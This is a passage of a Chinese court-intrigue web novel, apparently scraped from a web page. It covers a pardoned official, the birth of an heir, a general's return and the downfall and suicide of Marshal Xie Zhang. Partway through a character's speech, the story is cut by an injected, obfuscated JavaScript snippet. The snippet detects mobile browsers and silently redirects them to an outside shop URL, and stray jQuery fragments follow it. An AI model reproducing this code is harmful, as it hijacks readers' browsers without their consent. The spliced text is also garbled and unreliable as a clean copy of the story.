柴蕴之最终还是被留了下来。


    虽仍是同样的官职，却卸下了修缮皇陵的重任，转而督造起了收容孤儿的善堂。


    领旨的那一刻，他再度拜谢了秦仲：“多谢公公。”


    “你该谢的不是杂家，而是张大人和皇后娘娘，是他们在皇上面前为你求了情。”


    闻言，柴蕴之眸光一怔，眼底覆满了惊异。


    张贺？晏宁！


    他怎么也想不到，这两个人竟会为他求情！


    在所有人都很不得将他踩入泥沼的时候，他们本可以冷眼旁观，却为何会对他施以援手？


    在他怔愣惊愕之际，秦仲幽幽提醒道：“皇上是惜才之人，柴大人莫要再辜负他的信任。”


    “多谢公公提点，柴某定不负圣恩。”


    见他如此受教，秦仲眸光一敛，转身走出了柴府。


    望着他离去的背影，柴蕴之紧紧地捏住了手里的圣旨。


    只要皇帝还肯用他，他的仕途就还有希望。


    至于那些失去的荣耀，他会一点一点地找回来。


    ***


    时间一晃而过，转眼就到了余静生产的时候。


    当她诞下嫡子的消息传入凤仪宫时，晏宁打心底替她欢喜。


    自晏太傅身患隐疾后，余静腹中的孩子就成了晏家唯一的希望。


    流水般的赏赐络绎不绝地送入太傅府中，惹来了无数的艳羡。


    洗三的那日，帝后二人竟一同出现在了晏府。


    众人在席间用膳时，晏宁转身去了菡萏院。


    寝屋内，余静正虚弱地靠在床前，而她的生母余夫人则温柔地抱着襁褓中的婴儿。


    看着这温馨的一幕，晏宁的眼底闪过一丝羡慕。


    若她的母亲还活着，兴许也会像余夫人这般对外孙爱不释手吧。


    转头的那一刻，余静看出了她眼中的羡慕，不由得轻柔一笑：“娘娘可愿抱抱他吗？”


    “好啊！”


    她话音刚落，余夫人就将孩子放在了她的臂弯里。


    望着怀中肖似余静的面容，晏宁轻声问道：“父亲为他取名了吗？”


    “你父亲很是欢喜，孩子才出生，就取了名字叫晏成。”


    “晏成……”晏宁低喃一声，随后笑着说道，“承嗣守业，功成名就，是个好名字，可见父亲对他寄望颇深。”


    听了她的赞誉后，余夫人顿时扬起了嘴角：“但愿这孩子能不负众望，光耀门庭！”


    闻言，晏宁抿唇一笑：“有母亲悉心教导，成儿定是栋梁之才。”


    “教导之事我定会尽心竭力，可能否成才还得看他自己的造化。”


    “现在说这些还太早了，当务之急是要养好身体。”


    “娘娘说的对，产后最是虚弱，你定要好好养着，可不能落下病根……”


    接着便是一顿絮絮叨叨的叮咛，见她说的起劲，晏宁便也笑着聆听。


    回宫之后，青橘便和晏宁小声嘀咕：“这次回府没能见到孟姨娘，倒还有些遗憾，也不知道她究竟有几分像故去的闻姨娘。”


    “无论有几分相像，也都改变不了她失宠的结局。”


    闻言，青橘努了努嘴，眼底闪过一丝试探：“太傅的病不会真的治不好了吧？”


    晏宁不置可否，只是眸光颇为高深。


    “若真是如此，那晏夫人也太可怜了！”


    年纪轻轻就要守活寡，哪怕是有了子嗣，也仍是惹人同情。


    可怜吗？


    晏宁眸光一闪，心中却不以为然。


    这病虽来的突然，却也不至于药石无医。况且余静从未在她面前流露出焦急之态，像是并不在乎。


    至于不在乎的理由，也无非是被父亲伤透了心。


    这桩婚事本就是因她而起，所以哪怕心中有某种猜测，她也仍是装作毫不知情。


    只要不动摇到晏家的根基，自己都可以睁一只眼闭一只眼，就当作是还她一个人情。


    当暑热渐渐散去，树叶变得金黄，暗探传回了一个振奋人心的消息。


    他们找到徐岱了！


    自他失踪后，萧御一直都没有放弃对他的搜寻。


    果然，皇天不负苦心人，将近一年之后，有人在北境的一座小镇上发现了他的踪迹。


    被找到时，他早已忘记了自己的身份，甚至还和一个村妇定了亲。


    为了带回他，昔日的旧部下轮番上阵，好不容易才说动了他。


    可当他拜别村妇，随他们启程回京时，却在路上遭遇了一场伏击。


    为了保护他，部下们拼上了性命，却落了个惨死的结局。


    而这一幕深深地刺痛了他，杀尽伏兵后，他眼前一黑，踉跄着站起时，昔日的记忆便犹如排山倒海般纷至沓来。


    那一场雪夜里的埋伏根本就不是北戎的手笔，而是谢璋排除异己的手段。


    回京之后，他并未急着去见萧御，而是乔装打扮，孤身一人潜入了谢府。


    那夜，谢璋喝得酩酊大醉，他本想出手杀了他，却意外地被人拦下。


    一番缠斗后，他露了踪迹，便只能无奈逃走。


    而阻拦他的人也在事后追上了他。


    “若我猜得不错，阁下应该就是徐岱吧？”


    身份被窥破后，徐岱骤然眯起双眼：“你是何人？”


    “我是谁不重要，重要的是你不能杀谢璋。”


    见他故弄玄虚，徐岱的眼中陡然生出了一股杀气：“你是他的什么人？”


    “我和他没有任何关系。”


    “那你为何要阻止我？”


    “因为我不能让他死的这么痛快。”


    闻言，徐岱眉心一紧：“你究竟是什么人？”


    “和你一样，是想让他死的人。我知道你是皇上的亲信，如果你能带我入宫觐见，我有办法让谢璋死得更惨。”


    听了他的说辞，徐岱犹豫良久，终是点头应下。


    次日一早，他便带着这个自称陈松的人进了宫门。


    见到萧御后，他便想要跪地参拜，却被亲切地扶了起来。


    “你能回来真是太好了！”


    他们之间的关系早已超越了君臣之分，所以萧御才会为了他冒险亲征。


    落座之后，萧御才看到随他一同而来的人。


    起初他并未在意，仍是亲热地和徐岱叙旧。


    直到徐岱说完自己的遭遇，又引出昨夜之事，萧御的目光才再度落到了那个年轻人身上。


    “你叫陈松？”


    “是，草民陈松参见皇上。”


    “说吧，你为何要见朕。”


    “草民搜集了谢璋的罪证，想亲手交给皇上。”


    说着，他就从怀中掏出了一沓厚厚的信封。


    当秦仲将信封转交到萧御手上后，陈松便说起了一段尘封已久的往事。


    “我父亲原是大同府的一名参军，当年谢璋为了立功，不顾他的劝阻，执意要带兵突击羌族，却反遭埋伏，若不是我父亲拼死相救，他早就死了。可他非但不思回报，反而诬陷我父亲贪功冒进，害死了同行的将士。”


    “领兵的将军听信了他的一面之词，当众砍杀了我的父亲。当父亲被杀的噩耗传回家中时，母亲受不了打击，当天夜里就上吊自尽了。只留下了我和家中老仆相依为命。”


    “我父亲向来看淡名利，绝不是他们口中的贪功之人，更不可能赌上部下的性命。故而我长大之后便改名换姓潜入了军营，经过多年的蛰伏，不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253856|184108||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但探清了当年的隐情，还因为屡献良策而走到了谢璋的身边。”


    “这些年我搜集了许多他的罪证，也包括他是如何设计伏击徐大人以及和勾结北戎之事。”


    “光凭几封书信，如何能扳倒他？”


    面对萧御的质疑，陈松神色一凛：“草民身上还有一份他写给北戎皇子的亲笔信。”


    说着，他再度掏出了一封精致的信笺。


    “既有此信，方才为何不一并呈上？”


    “他虽是个奸诈小人，却也战功彪炳，若皇上惜才，这封信便没有意义。”


    闻言，秦仲当即呵斥：“大胆陈松，竟敢对皇上不敬！”


    不同于他的愤怒，萧御的眼底却露出了一抹赞许。


    “朕虽爱才，却从不纵恶。谢璋作恶多端，朕早就想除之后快，只苦于没有罪证，不能将他绳之以法。”


    “若真能如此，草民便替当年枉死之人谢过皇上。”


    说着，他便心悦诚服地跪在了地上。


    ***


    徐岱回京的消息很快就传扬开来，而谢璋也已感受到了强烈的不安。


    自萧御从感业寺回宫之后，许多事情就发生了微妙的变化。


    他浸淫官场多年，又怎会看不出萧御突如其来的冷淡。


    可他始终想不明白，萧御为何会性情大变。


    从燕州回来的时候，他对自己分明还很是看重。为了接澜音入宫，他甚至颇费了一番周折，可后来不过是去了一趟寺庙，一切就都变了。


    昨夜他心中郁闷，便多喝了几杯，可没想到醉倒后却有刺客潜入了他的寝屋里。


    还好手下警觉，不然他昨夜便已魂断卧榻了。


    可他是威名赫赫的元帅，谁又敢来行刺他呢？


    他想了大半夜，却直到此刻才找到答案。


    是啊，除了逃过伏击的徐岱之外，谁还有那份胆量和本事，能够潜入守卫森严的将军府呢？


    萧御的态度已然冷淡，一旦徐岱抖出他在燕州设伏的事，恐怕他连项上人头都难保。


    不行，他绝不能坐以待毙。


    可若是贸然行动，他就会成为下一个钱懋。但半生戎马，他又怎能甘心束手就擒？


    举棋不定之际，他忽然想到了自己平日倚重的参谋陈松。


    “快去把陈松叫来！”


    正当他吩咐手下去请陈松时，门外却传来了一阵焦急的叫嚷。


    “元帅，御林军的人来了……”


    “你说什么？”在听到御林军三个字时，谢璋顿时眸光一震，眼底覆满了恐惧。


    萧御的动作竟然这么快吗？


    “元帅，咱们该怎么办啊？”


    面对心腹惊疑不定的询问，谢璋先是心头一悚，而后面色愈发深沉：“把我的长枪拿来！”


    闻言，心腹瞳孔一震，又惊又惧地劝说道：“元帅三思啊！一旦您举枪抵抗，便是公然违逆圣上，此举视同谋逆，乃是抄家灭族的死罪啊……”


    听着心腹痛心疾首的劝告，谢璋紧握的拳头一松，绷直的脊背就这么垮了下来。


    从籍籍无名到贫苦少年到威震四海的大元帅，没人知道他这一路走来有多么的艰难。


    为了功名利禄，他几乎放弃了一切，可筹谋半生，却还是落了个功亏一篑。


    大厦将倾，摆在眼前的已是必死的局面。他不能再连累自己的族人！


    思及此，他缓缓转过身去，一言不发地走进了寝屋。


    而当御林军冲开大门的时候，看见的便是他被长枪贯穿、鲜血淋漓的场景。


    在负隅抵抗和束手就擒间，他选择了一条更为惨烈的路。


    可死亡并不代表终结，一场针对谢家的清算才刚刚拉开帷幕。